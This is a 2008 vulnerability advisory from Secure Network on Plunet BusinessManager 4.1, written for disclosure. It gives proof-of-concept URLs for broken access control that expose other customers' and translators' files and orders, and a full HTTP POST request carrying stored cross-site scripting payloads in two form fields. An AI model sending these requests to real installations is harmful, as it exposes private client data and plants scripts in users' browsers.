Security Research Advisory

Plunet BusinessManager 4.1
Multiple Vulnerabilities

Table of Contents

Summary

Plunet BusinessManager is a powerful software for translation companies, that offers on a single platform a solution to handle customers, translators, document management, data, order management e processing. Since Plunet BusinessManager suffers of incorrect validation of some input forms, Stored Cross Site Scripting attacks are allowed. Moreover customers and translators can access data and file not related to them.

Date	Details
23/09/2008	Vendor disclosure
08/01/2009	Vendor acknowledgment
-	Patch release
23/12/2008	Public disclosure

Authorization Issue

<table>
<tr><td colspan="5">Authorization Issue</td><td>Advisory Number</td></tr>
<tr><td colspan="5"></td><td>SN-08-04</td></tr>
<tr><td>Severity</td><td>Software</td><td>Version</td><td>Accessibility</td><td>CVE</td><td>Author(s)</td></tr>
<tr><td rowspan="3">H</td><td>Plunet BusinessManager</td><td>4.1</td><td>Remote</td><td>n/a</td><td rowspan="3">Matteo Ignaccolo
Gabriele Zanoni</td></tr>
<tr><td colspan="2">Vendor URL</td><td colspan="2">Advisory URL</td></tr>
<tr><td colspan="2">http://www.plunet.de</td><td colspan="2">-</td></tr>
</table>

Vulnerability Details

The application fails to perform a correct access control to data and file. Any user (Customers and Translators) could retrieve and alter data and file not related to him. Also, a user could be easily enumerate all Company customers.

Upgrade to Plunet BusinessManager version 4.2 or later.

Technical Details

Description

An authenticated Customer could use the following URL to access to other Customers private area.

PoC URL:

```
http://domain/pagesUTF8/Sys_DirAnzeige.jsp?AnzeigeText=&Pfad=/Customer/<CUSTOMER-ID>
```

An authenticated Translator could use the following URL to access Orders not related to him.

PoC URL:

```
http://domain/pagesUTF8/Sys_DirAnzeige.jsp?AnzeigeText=/PRM&Pfad=/ORDER/C-00042/PRM
```

An authenticated translator could use the following URL to access to Jobs not related to him.

PoC URL:

```
http://domain/pagesUTF8/auftrag_job.jsp?OSG05=1944&anchor=AJob31944 surf jobs
```

.

Multiple Stored Cross-Site Scripting

Multiple Stored Cross-Site Scripting					Advisory Number
					SN-08-04
Severity	Software	Version	Accessibility	CVE	Author(s)
H	Plunet BusinessManager	4.1	Remote	*n/a*	Matteo Ignaccolo Gabriele Zanoni
	Vendor URL		Advisory URL		
	http://www.plunet.de		-		

Vulnerability Details

The application fails to validate QUB and Bez74 parameters, so stored Cross Site Scripting attacks are possible.

Upgrade to Plunet BusinessManager version 4.2 or later.

Technical Details

Description

The following is a Proof of Concept HTTP request which can be used to check the issue.

PoC HTTP Request:

```
POST /pagesUTF8/auftrag_allgemeinauftrag.jsp HTTP/1.1
Host: <HOSTNAME> or IP
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080718
Ubuntu/8.04 (hardy) Firefox/2.0.0.16
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,
text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://<hostname or IP>/pagesUTF8/auftrag_allgemeinauftrag.jsp
Cookie: JSESSIONID=0B1347DFFD031E6BC1944C381A31293D
Content-Type: application/x-www-form-urlencoded
Content-Length: 1085

TokenUAID=42&QUK=1449&QUKA=*&QUKANSCH=820&QUKLIEFANSCH=820&QUZ=sample&
VorlageID=3&QU02=1-&QUL=sample&QUB=%22%3E%3Cscript%3Ealert%28%22XSS2%22%29
%3B%3C%2Fscript%3E&QUG=sample&OSPK01=141&OSPK02=0&OSSK05=&OSSK09=1&PJ1
        2=14
&DATAUFTT=07&DATAUFMM=01&DATAUFJJJJ=2008&DATLIEFTT=24&DATLIEFMM=01&
DATLIEFJJJJ=2008&DATLIEFHH=&DATLIEFMN=&PJ13=&
Bez74=%22%3E%3Cscript%3Ealert%28%22XSS4%22%29%3B%3C%2Fscript%3E&
LDate74TT=24&LDate74MM=01&LDate74JJJJ=2008&LDate74HH=13&
LDate74MN=00&BOXP74=4&REA01774=59&REA01874=sample&
OutPE0174=0&OutPAP74=8385&Bem74=sample&REA001=&REA010=&REA007=1&REA008=2
        &
REA011=0&REA013=0&REA015=0&LEISTung=sample&LangFlag=&exit=&SelectTab=
&ContentBox=&OpenContentBox=&LoginPressed=false&SaveButton=true&
CheckXYZ=Send&yOffsetScroll=0
```

Legal Notices

Secure Network (*www.securenetwork.it*) is an information security company, which provides consulting and training services, and engages in security research and development.

We are committed to open, full disclosure of vulnerabilities, cooperating with software developers for properly handling disclosure issues.

The information in the advisory is believed to be accurate at the time of publishing based on currently available information. This information is provided as-is, as a free service to the community by Secure Network research staff. There are no warranties with regard to this information. Secure Network does not accept any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.

If you have any comments or inquiries, or any issue with what is reported in this advisory, please inform us as soon as possible.

e-mail	info@securenetwork.it
phone	+39 02 917 730 41